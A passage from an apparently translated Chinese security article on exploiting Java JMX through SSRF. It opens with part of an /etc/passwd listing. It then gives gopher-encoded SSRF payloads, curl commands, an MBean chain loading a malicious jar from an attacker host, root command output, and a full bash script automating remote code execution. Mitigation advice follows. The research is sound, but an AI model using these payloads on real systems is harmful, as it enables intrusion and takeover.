shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
curl_user:x:100:101:Linux User,,,:/home/curl_user:/sbin/nologin

Attacking JMX via SSRF

JMX可能是最著名的RMI服务之一,并且通常是攻击者的一个可靠而容易的目标,管理员通常不使用用户身份验证或客户端证书来正确保护JMX服务,而是采取简单的方法来阻止来自不可信网络的对JMX服务的访问,这使得SSRF攻击JMX端点成为一个有趣的话题,因为它可能允许攻击后端不可达的JMX端点

从SSRF的角度来看JMX非常类似于前面讨论的定制RMI服务,尽管是众所周知的服务,JMX端点没有固定的ObjID值,因此需要在RMI注册表上执行查找操作来与JMX远程对象进行交互,此外还有一个我们到目前为止还没有遇到的特殊特性,这就是会话管理

JMX支持密码保护的端点,因此需要实现会话管理,RMI协议没有对会话管理的内置支持,但是通常使用ObjID机制来实现这一目的,我们已经说过,自定义远程对象在导出过程中会被分配一个随机生成的ObjID值,如果不知道它们的ObjID,客户端就无法使用远程对象,为了使远程对象公开可用,可以将它们绑定到RMI注册服务,但是如果不这样做,远程对象只能由以某种方式获得ObjID值的客户机访问

当客户机想要连接到JMX服务时,它首先在RMI注册表中查找相应的绑定名称,注册表返回的远程对象实现接口javax . management . remote . RMI . RMI server,并且只支持两种方法:

代码语言:javascript复制
public interface RMIServer extends Remote {
    public String getVersion() throws RemoteException;
    public RMIConnection newClient(Object credentials) throws IOException;
}

为了与JMX代理交互,客户端需要获得一个实现RMIConnection接口的远程对象,当客户机调用RMIServer远程对象上的newClient方法并提供正确的凭证时,将返回这样一个对象,在这种情况下,实现RMIServer接口的初始入口点对象导出一个实现RMIConnection接口的新远程对象,不是将结果绑定到RMI注册中心,在那里每个人都可以查找它,而是将对远程对象的引用返回给调用newClient方法的客户机,客户端是唯一获得新远程对象的ObjID值的客户端,其他客户端无法与之交互,这演示了ObjID值如何作为会话ID等价物产生

当通过SSRF定位JMX服务时会话管理在利用期间增加了一个额外的步骤:

  • 从RMI注册表中查找JMX绑定名称
  • 调用newClient方法建立JMX会话
  • 利用JMX会话实现RCE
    • 创建MLet MBean
    • 使用MLet加载恶意MBean
    • 使用恶意MBean实现RCE

请注意第三步需要在第二步之后的短时间间隔内执行,当获得对实现RMIConnection接口的远程对象的引用时,真正的客户机将向分布式垃圾收集器(DGC)发送相应的通知,这通知DGC相应的远程对象正在使用中,不应被清理,由于我们是通过SSRF获取引用的,所以没有与DGC的通信,并且在newClient调用生成新的远程对象后不久,它就被垃圾收集了,因此需要快

我们需要做的第一件事是再次获取入口点JMX远程对象的ObjID和TCP端口,这与我们为定制RMI服务所做的一样:

代码语言:javascript复制
$ rmg enum 127.0.0.1 1090 --scan-action list --bound-name jmxrmi --ssrf --gopher --encode
[ ] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d%c9%d4%e6%3b%df%74%00%06%6a%6d%78%72%6d%69
$ curl 'http://172.17.0.2:8000?url=gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d%c9%d4%e6%3b%df%74%00%06%6a%6d%78%72%6d%69' --silent | xxd -p -c10000
51aced0005770f01efa4b9060000017dffd9982080067372002e6a617661782e6d616e6167656d656e742e72656d6f74652e726d692e524d49536572766572496d706c5f53747562000000000000000202000074002f687474703a2f2f6c6f63616c686f73743a383030302f726d692d636c6173732d646566696e6974696f6e732e6a61727872001a6a6176612e726d692e7365727665722e52656d6f746553747562e9fedcc98be1651a02000071007e00017872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000071007e000178707734000b556e6963617374526566320000096c6f63616c686f737400009909c700e5371b95b264efa4b9060000017dffd9982080020178
$ rmg enum 127.0.0.1 1090 --scan-action list --bound-name jmxrmi --ssrf-response 51aced0005770f01efa4b9060000017dffd9982080067372002e6a617661782e6d616e6167656d656e742e72656d6f74652e726d692e524d49536572766572496d706c5f53747562000000000000000202000074002f687474703a2f2f6c6f63616c686f73743a383030302f726d692d636c6173732d646566696e6974696f6e732e6a61727872001a6a6176612e726d692e7365727665722e52656d6f746553747562e9fedcc98be1651a02000071007e00017872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000071007e000178707734000b556e6963617374526566320000096c6f63616c686f737400009909c700e5371b95b264efa4b9060000017dffd9982080020178
[ ] RMI registry bound names:
[ ]
[ ]   - jmxrmi
[ ]     --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[ ]         Endpoint: localhost:39177  TLS: no  ObjID: [-105b46fa:17dffd99820:-7ffe, -4107030835313135004]
[ ]
[ ] RMI server codebase enumeration:
[ ]
[ ]   - http://localhost:8000/rmi-class-definitions.jar'

现在知道远程对象监听localhost:39177,ObjID值为:

[-105b46fa:17dffd99820:-7ffe,-4107030835313135004]

这些信息足以在远程对象上调用newClient方法,我们希望JMX服务允许未经身份验证的连接,并为必需的凭据参数传递null,此外我们可以使用remote-method-guesser的GenericPrint插件来解析newCall方法的返回值:

代码语言:javascript复制
$ rmg call 127.0.0.1 39177 null --objid '[-105b46fa:17dffd99820:-7ffe, -4107030835313135004]' --signature 'javax.management.remote.rmi.RMIConnection newClient(Object creds)' --ssrf --encode --gopher
[ ] SSRF Payload: gopher://127.0.0.1:39177/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%c7%00%e5%37%1b%95%b2%64%ef%a4%b9%06%00%00%01%7d%ff%d9%98%20%80%02%ff%ff%ff%ff%f0%e0%74%ea%ad%0c%ae%a8%70
$ curl 'http://172.17.0.2:8000?url=gopher://127.0.0.1:39177/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%c7%00%e5%37%1b%95%b2%64%ef%a4%b9%06%00%00%01%7d%ff%d9%98%20%80%02%ff%ff%ff%ff%f0%e0%74%ea%ad%0c%ae%a8%70' --silent | xxd -p -c10000
51aced0005770f01efa4b9060000017dffd998208008737200326a617661782e6d616e6167656d656e742e72656d6f74652e726d692e524d49436f6e6e656374696f6e496d706c5f53747562000000000000000202000074002f687474703a2f2f6c6f63616c686f73743a383030302f726d692d636c6173732d646566696e6974696f6e732e6a61727872001a6a6176612e726d692e7365727665722e52656d6f746553747562e9fedcc98be1651a02000071007e00017872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000071007e000178707734000b556e6963617374526566320000096c6f63616c686f737400009909aa2417597598c184efa4b9060000017dffd9982080070178
$ rmg call 127.0.0.1 39177 null --objid '[-105b46fa:17dffd99820:-7ffe, -4107030835313135004]' --signature 'javax.management.remote.rmi.RMIConnection newClient(Object creds)' --plugin GenericPrint.jar --ssrf-response 51aced0005770f01efa4b9060000017dffd998208008737200326a617661782e6d616e6167656d656e742e72656d6f74652e726d692e524d49436f6e6e656374696f6e496d706c5f53747562000000000000000202000074002f687474703a2f2f6c6f63616c686f73743a383030302f726d692d636c6173732d646566696e6974696f6e732e6a61727872001a6a6176612e726d692e7365727665722e52656d6f746553747562e9fedcc98be1651a02000071007e00017872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000071007e000178707734000b556e6963617374526566320000096c6f63616c686f737400009909aa2417597598c184efa4b9060000017dffd9982080070178
[ ] Printing RemoteObject:
[ ]   Remote Class:           javax.management.remote.rmi.RMIConnectionImpl_Stub
[ ]   Endpoint:               localhost:39177
[ ]   ObjID:                  [-105b46fa:17dffd99820:-7ff9, -6186794315107745404]
[ ]   ClientSocketFactory:    default
[ ]   ServerSocketFactory:    default

调用成功,我们获得了对新远程对象的引用,这个新的远程对象实现了RMIConnection接口,我们可以在其上执行JMX操作,为了实现远程代码执行我们首先需要创建MLet MBean

代码语言:javascript复制
$ rmg call localhost 39177 '"javax.management.loading.MLet", null, null' --signature 'javax.management.ObjectInstance createMBean(String className, javax.management.ObjectName name, javax.security.auth.Subject delegationSubject)' --objid '[-105b46fa:17dffd99820:-7ff9, -6186794315107745404]' --ssrf --gopher --encode
[ ] SSRF Payload: gopher://localhost:39177/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%aa%24%17%59%75%98%c1%84%ef%a4%b9%06%00%00%01%7d%ff%d9%98%20%80%07%ff%ff%ff%ff%22%d7%fd%4a%90%6a%c8%e6%74%00%1d%6a%61%76%61%78%2e%6d%61%6e%61%67%65%6d%65%6e%74%2e%6c%6f%61%64%69%6e%67%2e%4d%4c%65%74%70%70
$ curl 'http://172.17.0.2:8000?url=gopher://localhost:39177/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%aa%24%17%59%75%98%c1%84%ef%a4%b9%06%00%00%01%7d%ff%d9%98%20%80%07%ff%ff%ff%ff%22%d7%fd%4a%90%6a%c8%e6%74%00%1d%6a%61%76%61%78%2e%6d%61%6e%61%67%65%6d%65%6e%74%2e%6c%6f%61%64%69%6e%67%2e%4d%4c%65%74%70%70' &>/dev/null

之后我们可以使用MLet MBean通过getMBeansFromURL方法加载恶意的MBean,为了创建所需的有效负载和HTTP侦听器,我们使用beanshooter 及其-stager-only选项:

代码语言:javascript复制
$ rmg call localhost 39177 'new javax.management.ObjectName("DefaultDomain:type=MLet"), "getMBeansFromURL", new java.rmi.MarshalledObject(new Object[] {"http://172.17.0.1:8000/mlet"}), new String[] { String.class.getName() }, null' --signature 'Object invoke(javax.management.ObjectName name, String operationName, java.rmi.MarshalledObject params, String signature[], javax.security.auth.Subject delegationSubject)' --objid '[-105b46fa:17dffd99820:-7ff9, -6186794315107745404]' --ssrf --gopher --encode
[ ] SSRF Payload: gopher://localhost:39177/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%aa%24%17%59%75%98%c1%84%ef%a4%b9%06%00%00%01%7d%ff%d9%98%20%80%07%ff%ff%ff%ff%13%e7%d6%94%17%e5%da%20%73%72%00%1b%6a%61%76%61%78%2e%6d%61%6e%61%67%65%6d%65%6e%74%2e%4f%62%6a%65%63%74%4e%61%6d%65%0f%03%a7%1b%eb%6d%15%cf%03%00%00%70%78%70%74%00%17%44%65%66%61%75%6c%74%44%6f%6d%61%69%6e%3a%74%79%70%65%3d%4d%4c%65%74%78%74%00%10%67%65%74%4d%42%65%61%6e%73%46%72%6f%6d%55%52%4c%73%72%00%19%6a%61%76%61%2e%72%6d%69%2e%4d%61%72%73%68%61%6c%6c%65%64%4f%62%6a%65%63%74%7c%bd%1e%97%ed%63%fc%3e%02%00%03%49%00%04%68%61%73%68%5b%00%08%6c%6f%63%42%79%74%65%73%74%00%02%5b%42%5b%00%08%6f%62%6a%42%79%74%65%73%71%00%7e%00%05%70%78%70%34%7d%b9%4a%70%75%72%00%02%5b%42%ac%f3%17%f8%06%08%54%e0%02%00%00%70%78%70%00%00%00%4a%ac%ed%00%05%75%72%00%13%5b%4c%6a%61%76%61%2e%6c%61%6e%67%2e%4f%62%6a%65%63%74%3b%90%ce%58%9f%10%73%29%6c%02%00%00%78%70%00%00%00%01%74%00%1b%68%74%74%70%3a%2f%2f%31%37%32%2e%31%37%2e%30%2e%31%3a%38%30%30%30%2f%6d%6c%65%74%75%72%00%13%5b%4c%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%3b%ad%d2%56%e7%e9%1d%7b%47%02%00%00%70%78%70%00%00%00%01%74%00%10%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%70
$ curl 'http://172.17.0.2:8000?url=gopher://localhost:39177/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%aa%24%17%59%75%98%c1%84%ef%a4%b9%06%00%00%01%7d%ff%d9%98%20%80%07%ff%ff%ff%ff%13%e7%d6%94%17%e5%da%20%73%72%00%1b%6a%61%76%61%78%2e%6d%61%6e%61%67%65%6d%65%6e%74%2e%4f%62%6a%65%63%74%4e%61%6d%65%0f%03%a7%1b%eb%6d%15%cf%03%00%00%70%78%70%74%00%17%44%65%66%61%75%6c%74%44%6f%6d%61%69%6e%3a%74%79%70%65%3d%4d%4c%65%74%78%74%00%10%67%65%74%4d%42%65%61%6e%73%46%72%6f%6d%55%52%4c%73%72%00%19%6a%61%76%61%2e%72%6d%69%2e%4d%61%72%73%68%61%6c%6c%65%64%4f%62%6a%65%63%74%7c%bd%1e%97%ed%63%fc%3e%02%00%03%49%00%04%68%61%73%68%5b%00%08%6c%6f%63%42%79%74%65%73%74%00%02%5b%42%5b%00%08%6f%62%6a%42%79%74%65%73%71%00%7e%00%05%70%78%70%34%7d%b9%4a%70%75%72%00%02%5b%42%ac%f3%17%f8%06%08%54%e0%02%00%00%70%78%70%00%00%00%4a%ac%ed%00%05%75%72%00%13%5b%4c%6a%61%76%61%2e%6c%61%6e%67%2e%4f%62%6a%65%63%74%3b%90%ce%58%9f%10%73%29%6c%02%00%00%78%70%00%00%00%01%74%00%1b%68%74%74%70%3a%2f%2f%31%37%32%2e%31%37%2e%30%2e%31%3a%38%30%30%30%2f%6d%6c%65%74%75%72%00%13%5b%4c%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%3b%ad%d2%56%e7%e9%1d%7b%47%02%00%00%70%78%70%00%00%00%01%74%00%10%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%70' &>/dev/null
$ beanshooter --stager-only --stager-host 172.17.0.1 --stager-port 8000
[ ] Creating HTTP server on: 172.17.0.1:8000
[ ]   Creating MLetHandler for endpoint: /mlet
[ ]   Creating JarHandler for endpoint: /tonka-bean.jar
[ ]   Starting HTTP server... 
[ ]   
[ ] Press Enter to stop listening...
[ ]
[ ] Received request for: /mlet
[ ] Sending malicious mlet:
[ ] 
[ ]   Class:    de.qtc.tonkabean.TonkaBean
[ ]   Archive:  tonka-bean.jar
[ ]   Object:    MLetTonkaBean:name=TonkaBean,id=1
[ ]   Codebase:  http://172.17.0.1:8000
[ ]   
[ ] Received request for: /tonka-bean.jar
[ ] Sending malicious jar file... done!

我们部署的恶意MBean支持可用于执行操作系统命令的executeCommand方法,我们现在可以通过使用SSRF漏洞来触发此方法:

代码语言:javascript复制
$ rmg call localhost 39177 'new javax.management.ObjectName("MLetTonkaBean:name=TonkaBean,id=1"), "executeCommand", new java.rmi.MarshalledObject(new Object[] {"id"}), new String[] { String.class.getName() }, null' --signature 'Object invoke(javax.management.ObjectName name, String operationName, java.rmi.MarshalledObject params, String signature[], javax.security.auth.Subject delegationSubject)' --objid '[-105b46fa:17dffd99820:-7ff9, -6186794315107745404]' --ssrf --gopher --encode
[ ] SSRF Payload: gopher://localhost:39177/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%aa%24%17%59%75%98%c1%84%ef%a4%b9%06%00%00%01%7d%ff%d9%98%20%80%07%ff%ff%ff%ff%13%e7%d6%94%17%e5%da%20%73%72%00%1b%6a%61%76%61%78%2e%6d%61%6e%61%67%65%6d%65%6e%74%2e%4f%62%6a%65%63%74%4e%61%6d%65%0f%03%a7%1b%eb%6d%15%cf%03%00%00%70%78%70%74%00%21%4d%4c%65%74%54%6f%6e%6b%61%42%65%61%6e%3a%6e%61%6d%65%3d%54%6f%6e%6b%61%42%65%61%6e%2c%69%64%3d%31%78%74%00%0e%65%78%65%63%75%74%65%43%6f%6d%6d%61%6e%64%73%72%00%19%6a%61%76%61%2e%72%6d%69%2e%4d%61%72%73%68%61%6c%6c%65%64%4f%62%6a%65%63%74%7c%bd%1e%97%ed%63%fc%3e%02%00%03%49%00%04%68%61%73%68%5b%00%08%6c%6f%63%42%79%74%65%73%74%00%02%5b%42%5b%00%08%6f%62%6a%42%79%74%65%73%71%00%7e%00%05%70%78%70%c7%c0%3e%a2%70%75%72%00%02%5b%42%ac%f3%17%f8%06%08%54%e0%02%00%00%70%78%70%00%00%00%31%ac%ed%00%05%75%72%00%13%5b%4c%6a%61%76%61%2e%6c%61%6e%67%2e%4f%62%6a%65%63%74%3b%90%ce%58%9f%10%73%29%6c%02%00%00%78%70%00%00%00%01%74%00%02%69%64%75%72%00%13%5b%4c%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%3b%ad%d2%56%e7%e9%1d%7b%47%02%00%00%70%78%70%00%00%00%01%74%00%10%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%70
$ curl 'http://172.17.0.2:8000?url=gopher://localhost:39177/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%aa%24%17%59%75%98%c1%84%ef%a4%b9%06%00%00%01%7d%ff%d9%98%20%80%07%ff%ff%ff%ff%13%e7%d6%94%17%e5%da%20%73%72%00%1b%6a%61%76%61%78%2e%6d%61%6e%61%67%65%6d%65%6e%74%2e%4f%62%6a%65%63%74%4e%61%6d%65%0f%03%a7%1b%eb%6d%15%cf%03%00%00%70%78%70%74%00%21%4d%4c%65%74%54%6f%6e%6b%61%42%65%61%6e%3a%6e%61%6d%65%3d%54%6f%6e%6b%61%42%65%61%6e%2c%69%64%3d%31%78%74%00%0e%65%78%65%63%75%74%65%43%6f%6d%6d%61%6e%64%73%72%00%19%6a%61%76%61%2e%72%6d%69%2e%4d%61%72%73%68%61%6c%6c%65%64%4f%62%6a%65%63%74%7c%bd%1e%97%ed%63%fc%3e%02%00%03%49%00%04%68%61%73%68%5b%00%08%6c%6f%63%42%79%74%65%73%74%00%02%5b%42%5b%00%08%6f%62%6a%42%79%74%65%73%71%00%7e%00%05%70%78%70%c7%c0%3e%a2%70%75%72%00%02%5b%42%ac%f3%17%f8%06%08%54%e0%02%00%00%70%78%70%00%00%00%31%ac%ed%00%05%75%72%00%13%5b%4c%6a%61%76%61%2e%6c%61%6e%67%2e%4f%62%6a%65%63%74%3b%90%ce%58%9f%10%73%29%6c%02%00%00%78%70%00%00%00%01%74%00%02%69%64%75%72%00%13%5b%4c%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%3b%ad%d2%56%e7%e9%1d%7b%47%02%00%00%70%78%70%00%00%00%01%74%00%10%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%70' --silent | xxd -p -c10000
51aced0005770f01efa4b9060000017dffd99820800b7400827569643d3028726f6f7429206769643d3028726f6f74292067726f7570733d3028726f6f74292c312862696e292c32286461656d6f6e292c3328737973292c342861646d292c36286469736b292c313028776865656c292c313128666c6f707079292c3230286469616c6f7574292c32362874617065292c323728766964656f290a
$ rmg call localhost 39177 'new javax.management.ObjectName("MLetTonkaBean:name=TonkaBean,id=1"), "executeCommand", new java.rmi.MarshalledObject(new Object[] {"id"}), new String[] { String.class.getName() }, null' --signature 'Object invoke(javax.management.ObjectName name, String operationName, java.rmi.MarshalledObject params, String signature[], javax.security.auth.Subject delegationSubject)' --objid '[-105b46fa:17dffd99820:-7ff9, -6186794315107745404]' --plugin GenericPrint.jar --ssrf-response 51aced0005770f01efa4b9060000017dffd99820800b7400827569643d3028726f6f7429206769643d3028726f6f74292067726f7570733d3028726f6f74292c312862696e292c32286461656d6f6e292c3328737973292c342861646d292c36286469736b292c313028776865656c292c313128666c6f707079292c3230286469616c6f7574292c32362874617065292c323728766964656f290a
[ ] uid=0(root) gid=0(root) groups=0(root)

在JMX远程对象被垃圾收集之前及时执行所有这些步骤是相当困难的,以下bash脚本可用于自动化该过程:

代码语言:javascript复制
#!/bin/bash

SIG_NEW_CLIENT='javax.management.remote.rmi.RMIConnection newClient(Object creds)'
SIG_CREATE_BEAN='javax.management.ObjectInstance createMBean(String className, javax.management.ObjectName name, javax.security.auth.Subject delegationSubject)'
SIG_INVOKE='Object invoke(javax.management.ObjectName name, String operationName, java.rmi.MarshalledObject params, String signature[], javax.security.auth.Subject delegationSubject)'

ARG_CREATE_BEAN='"javax.management.loading.MLet", null, null'
ARG_FROM_URL='new javax.management.ObjectName("DefaultDomain:type=MLet"), "getMBeansFromURL", new java.rmi.MarshalledObject(new Object[] {"http://172.17.0.1:8000/mlet"}), new String[] { String.class.getName() }, null'
ARG_EXEC='new javax.management.ObjectName("MLetTonkaBean:name=TonkaBean,id=1"), "executeCommand", new java.rmi.MarshalledObject(new Object[] {"id"}), new String[] { String.class.getName() }, null'

function ssrf() {
    curl "http://172.17.0.2:8000?url=$1" --silent | xxd -p -c10000
}

echo "[ ] Performing lookup operation... "
PAYLOAD=$(rmg enum 127.0.0.1 1090 --scan-action list --bound-name jmxrmi --ssrf --gopher --encode --raw)
RESULT=$(ssrf "${PAYLOAD}")

echo "[ ]   Parsing lookup result... "
PARSED=$(rmg enum 127.0.0.1 1090 --scan-action list --bound-name jmxrmi --no-color --ssrf-response "${RESULT}")
JMX_PORT=$(echo "${PARSED}" | head -n 5 | tail -n1 | cut -f3 -d':' | cut -f1 -d' ')
OBJID="[$(echo "${PARSED}" | head -n 5 | tail -n1 | cut -f3 -d'[')"
echo "[ ]   JMX Port: ${JMX_PORT}"
echo "[ ]   JMX ObjID: ${OBJID}"

echo "[ ] Calling newClient()..."
PAYLOAD=$(rmg call 127.0.0.1 ${JMX_PORT} 'null' --objid "${OBJID}" --signature "${SIG_NEW_CLIENT}" --ssrf --encode --gopher --raw)
RESULT=$(ssrf "${PAYLOAD}")

echo "[ ]   Parsing newClient() result..."
RESULT=$(rmg call 127.0.0.1 ${JMX_PORT} 'null' --objid "${OBJID}" --signature "${SIG_NEW_CLIENT}" --plugin GenericPrint.jar --no-color --ssrf-response "${RESULT}")
OBJID="[$(echo "${RESULT}" | head -n 4 | tail -n 1 | cut -f3 -d'[')"
echo "[ ]   Obtained ObjID: ${OBJID}"

echo "[ ] Deploying MLet..."
PAYLOAD=$(rmg call localhost ${JMX_PORT} "${ARG_CREATE_BEAN}" --signature "${SIG_CREATE_BEAN}" --objid "${OBJID}" --ssrf --gopher --encode --raw)
ssrf "${PAYLOAD}" &> /dev/null

echo "[ ] Calling getMBeansFromURL()..."
PAYLOAD=$(rmg call localhost ${JMX_PORT} "${ARG_FROM_URL}" --signature "${SIG_INVOKE}" --objid "${OBJID}" --ssrf --gopher --encode --raw)
ssrf "${PAYLOAD}" &> /dev/null

echo '[ ] Calling execute("id"): '
PAYLOAD=$(rmg call localhost ${JMX_PORT} "${ARG_EXEC}" --signature "${SIG_INVOKE}" --objid "${OBJID}" --ssrf --gopher --encode --raw)
RESULT=$(ssrf "${PAYLOAD}")

rmg call localhost ${JMX_PORT} "${ARG_EXEC}" --signature "${SIG_INVOKE}" --objid "${OBJID}" --ssrf-response ${RESULT} --plugin GenericPrint.jar

缓解措施

防止服务器端请求伪造是一个独立的主题,然而本文中讨论的攻击类型说明了保护后端服务的重要性,我们只需少量的配置更改,上面讨论的攻击都不会成功,下面是一些保护RMI服务的建议:

  • 确保使用最新版本的Java。Java RMI的安全级别在不断提高,过时的Java版本通常包含已知的漏洞,如果您不能更新,您至少应该评估您当前的安全级别,为您安装的Java版本寻找已知的漏洞,并使用漏洞扫描器,例如:remote-method-guesser,根据安装的Java版本,可能会有变通方法
  • 为所有RMI终结点启用TLS保护的通信。尽管Java RMI发送的主要是看起来不可读的二进制数据,但它实际上是一个纯文本协议,传递到RMI服务和从RMI服务接收的所有信息都是以纯文本形式发送的,并且可以被网络内适当位置的攻击者读取和修改,如果可能您还应该考虑为您的RMI服务启用基于证书的身份验证
  • 为您的RMI服务实现认证。所有执行敏感操作的远程对象都应该要求用户在使用之前进行身份验证,特别是JMX服务应该有密码保护,并使用JMX的角色模型,只授予认证用户所需的权限
  • 为您的RMI服务使用反序列化过滤器,并且只允许需要的类型被反序列化,还要确保您的应用程序和第三方库不包含在反序列化期间执行危险操作的类

文末小结

在本文中,我们展示了SSRF对Java RMI的攻击可以在某些情况下起作用:

  • SSRF漏洞需要允许将任意字节发送到后端服务(允许攻击默认的RMI组件,如RMI注册表、DGC或激活系统)
  • SSRF漏洞需要从后端服务返回响应,并接受响应中的任意字节(能够攻击所有RMI端点,包括JMX和自定义远程对象)

如果这两个条件都满足,就可以像使用SSRF漏洞的直接连接一样使用后端RMI服务,如果你曾经遇到过这样的服务,我很想听听你关于基于SSRF的RMI攻击的经历:)

参考连接

  • [1] Attacking Java RMI services after JEP 290
  • [2] Exploiting Tiny Tiny RSS
  • [3] remote-method-guesser (GitHub)
  • [4] ssrf-example-server (GitHub)
  • [5] An Trinhs RMI Registry Bypass
  • [6] GenericPrint rmg Plugin (GitHub)
  • [7] beanshooter
  • [8] Server-Side Request Forgery Prevention Cheat Sheet (OWASP)
  • [9] Server-side request forgery (PortSwigger)
  • [10] What is server-side request forgery (Acunetix)
  • [11] Monitoring and Management Using JMX Technology (Oracle)
  • [12] Serialization Filtering (Oracle)

0 人点赞